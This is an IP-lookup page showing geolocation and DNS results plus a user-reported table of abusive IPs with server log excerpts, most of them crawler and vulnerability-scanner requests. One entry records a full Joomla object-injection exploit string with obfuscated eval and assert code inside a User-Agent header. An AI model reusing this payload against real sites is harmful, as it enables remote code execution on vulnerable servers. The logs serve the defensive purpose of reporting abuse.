城市(city): unknown
省份(region): unknown
国家(country): Japan
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 133.127.216.238
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5430
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;133.127.216.238. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025021400 1800 900 604800 86400
;; Query time: 35 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 14 20:42:25 CST 2025
;; MSG SIZE rcvd: 108
238.216.127.133.in-addr.arpa domain name pointer h238.n216.nhk.or.jp.
Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
238.216.127.133.in-addr.arpa name = h238.n216.nhk.or.jp.
Authoritative answers can be found from:
| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 69.30.243.244 | bots | 疑似伪造UA爬虫 69.30.243.244 - - [05/May/2019:12:19:24 +0800] "GET /check-ip/113.53.83.48 HTTP/1.1" 200 10113 "https://ipinfo.asytech.cn" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" 69.30.243.244 - - [05/May/2019:12:19:24 +0800] "GET /check-ip/171.7.246.129 HTTP/1.1" 200 9681 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 69.30.243.244 - - [05/May/2019:12:19:25 +0800] "GET /check-ip/64.49.72.210 HTTP/1.1" 200 10263 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 69.30.243.244 - - [05/May/2019:12:19:26 +0800] "GET /check-ip/36.89.134.161 HTTP/1.1" 200 10302 "https://ipinfo.asytech.cn" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" 69.30.243.244 - - [05/May/2019:12:19:27 +0800] "GET /check-ip/36.67.134.3 HTTP/1.1" 200 9927 "https://ipinfo.asytech.cn" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" 69.30.243.244 - - [05/May/2019:12:19:28 +0800] "GET /check-ip/75.141.151.0 HTTP/1.1" 200 10497 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 69.30.243.244 - - [05/May/2019:12:19:30 +0800] "GET /check-ip/36.75.67.63 HTTP/1.1" 200 10095 "https://ipinfo.asytech.cn" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" |
2019-05-05 12:24:28 |
| 114.35.105.141 | botsattack | 爬虫攻击phpadmin、pma、sql等 |
2019-05-05 11:08:25 |
| 120.229.105.36 | bots | 120.229.105.36 - - [05/May/2019:09:09:01 +0800] "GET /check-ip/209.115.52.221 HTTP/1.1" 200 10546 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" 120.229.105.36 - - [05/May/2019:09:09:01 +0800] "GET /check-ip/253.33.190.235 HTTP/1.1" 200 9660 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" 120.229.105.36 - - [05/May/2019:09:09:01 +0800] "GET /check-ip/139.28.174.99 HTTP/1.1" 200 10474 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" 120.229.105.36 - - [05/May/2019:09:09:01 +0800] "GET /check-ip/116.52.76.202 HTTP/1.1" 200 9692 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" |
2019-05-05 09:10:43 |
| 196.231.211.3 | bots | 196.231.211.3 - - [05/May/2019:09:46:34 +0800] "GET /check-ip/206.74.135.217 HTTP/1.1" 200 96149 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.2)" |
2019-05-05 09:48:47 |
| 118.163.196.1 | attack | phpmyadmin db攻击 |
2019-05-09 20:13:46 |
| 3.92.45.174 | bots | 应该是adsense合作的一个广告商 3.92.45.174 - - [10/May/2019:08:19:00 +0800] "GET /ads.txt HTTP/1.1" 301 194 "-" "Jersey/2.25.1 (HttpUrlConnection 1.8.0_141)" 3.92.45.174 - - [10/May/2019:08:19:05 +0800] "GET /ads.txt HTTP/1.1" 404 232 "-" "Jersey/2.25.1 (HttpUrlConnection 1.8.0_141)" |
2019-05-10 08:20:35 |
| 59.36.119.226 | botsattack | 59.36.119.226 - - [01/May/2019:07:45:43 +0800] "GET /.git/config HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 59.36.119.226 - - [01/May/2019:07:45:43 +0800] "GET /.git/config HTTP/1.1" 404 209 "http://118.25.52.138/.git/config" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-05-01 07:51:54 |
| 188.52.164.84 | botsattack | 188.52.164.84 - - [07/May/2019:10:24:03 +0800] "GET //wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 188.52.164.84 - - [07/May/2019:10:24:04 +0800] "GET //xmlrpc.php?rsd HTTP/1.1" 308 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 188.52.164.84 - - [07/May/2019:10:24:05 +0800] "GET / HTTP/1.1" 200 10389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 188.52.164.84 - - [07/May/2019:10:24:07 +0800] "GET //blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 188.52.164.84 - - [07/May/2019:10:24:08 +0800] "GET //wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" |
2019-05-07 10:28:21 |
| 92.118.161.53 | spam | 92.118.161.53 - - [07/May/2019:11:52:51 +0800] "GET / HTTP/1.0" 301 194 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com" |
2019-05-07 11:53:21 |
| 159.89.201.212 | botsattack | UDP flood port:0 port:53413 |
2019-05-10 13:19:04 |
| 3.120.246.110 | bots | 3.120.246.110 - - [06/May/2019:16:35:27 +0800] "GET /robots.txt HTTP/1.1" 200 472 "-" "Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)" 3.120.246.110 - - [06/May/2019:16:35:32 +0800] "GET /check-ip/14.29.65.111 HTTP/1.1" 200 10206 "-" "Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)" 3.120.246.110 - - [06/May/2019:16:35:35 +0800] "GET /check-ip/13.52.60.233 HTTP/1.1" 200 9870 "-" "Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)" 3.120.246.110 - - [06/May/2019:16:35:37 +0800] "GET /check-ip/90.41.142.49 HTTP/1.1" 200 10395 "-" "Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)" 3.120.246.110 - - [06/May/2019:16:35:39 +0800] "GET /check-ip/18.95.241.177 HTTP/1.1" 200 9945 "-" "Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)" 3.120.246.110 - - [06/May/2019:16:35:41 +0800] "GET /check-ip/99.229.186.102 HTTP/1.1" 200 10759 "-" "Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)" 3.120.246.110 - - [06/May/2019:16:35:43 +0800] "GET /check-ip/23.254.161.26 HTTP/1.1" 200 10373 "-" "Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)" |
2019-05-06 16:36:11 |
| 104.152.52.67 | attack | 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "OPTIONS sip:nm SIP/2.0" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "OPTIONS / HTTP/1.0" 200 0 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "TNMP\\x04\\x00\\x00\\x00TNME\\x00\\x00\\x04\\x00" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:54 +0800] "\\x03\\x00\\x00\\x0B\\x06\\xE0\\x00\\x00\\x00\\x00\\x00" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:54 +0800] "DmdT\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x11\\x11\\x00\\xFF\\x01\\xFF\\x13" 400 182 "-" "-" |
2019-05-15 13:55:51 |
| 54.93.245.75 | spam | 54.93.245.75 - - [15/May/2019:14:30:54 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Slack-ImgProxy (+https://api.slack.com/robots)" |
2019-05-15 14:31:29 |
| 45.114.10.12 | attack | 45.114.10.12 - - [06/May/2019:21:45:27 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD"
45.114.10.12 - - [06/May/2019:21:45:27 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD" |
2019-05-06 21:47:27 |
| 43.241.215.172 | botsattack | 43.241.215.172 - - [05/May/2019:16:49:00 +0800] "GET /otsmobile/app/mgs/mgw.htm?operationType=com.cars.otsmobile.queryLeftTicket&requestData=%5B%7B%22train_date%22%3A%2220190520%22%2C%22purpose_codes%22%3A%2200%22%2C%22from_station%22%3A%22BJP%22%2C%22to_station%22%3A%22WHN%22%2C%22station_train_code%22%3A%22Z35%22%2C%22start_time_begin%22%3A%220000%22%2C%22start_time_end%22%3A%222400%22%2C%22train_headers%22%3A%22QB%23%22%2C%22train_flag%22%3A%22%22%2C%22seat_type%22%3A%220%22%2C%22seatBack_Type%22%3A%22%22%2C%22ticket_num%22%3A%22%22%2C%22dfpStr%22%3A%22%22%2C%22secret_str%22%3A%22%E5%90%8E%E5%8F%B0%E5%BC%80%E5%85%B3%E8%8E%B7%E5%8F%96%E5%A4%B1%E8%B4%A5%EF%BC%8C%E6%88%96%E9%85%8D%E7%BD%AE%E5%BC%80%E5%85%B3%E4%B8%BAfalse.null%22%2C%22baseDTO%22%3A%7B%22check_code%22%3A%22597cd02b91ba2b4b481dfe54f24ae30d%22%2C%22device_no%22%3A%22XM6jfCnBCbQDAMXCxZeB4eo1%22%2C%22mobile_no%22%3A%22%22%2C%22os_type%22%3A%22a%22%2C%22time_str%22%3A%2220190505164900%22%2C%22user_name%22%3A%22%22%2C%22version_no%22%3A%223.0.0.12121430%22%7D%7D%5D&ts=1557046140303&sign= HTTP/1.1" 404 209 "-" "Apache-HttpClient/4.5.6 (Java/1.8.0_211)" |
2019-05-05 16:50:15 |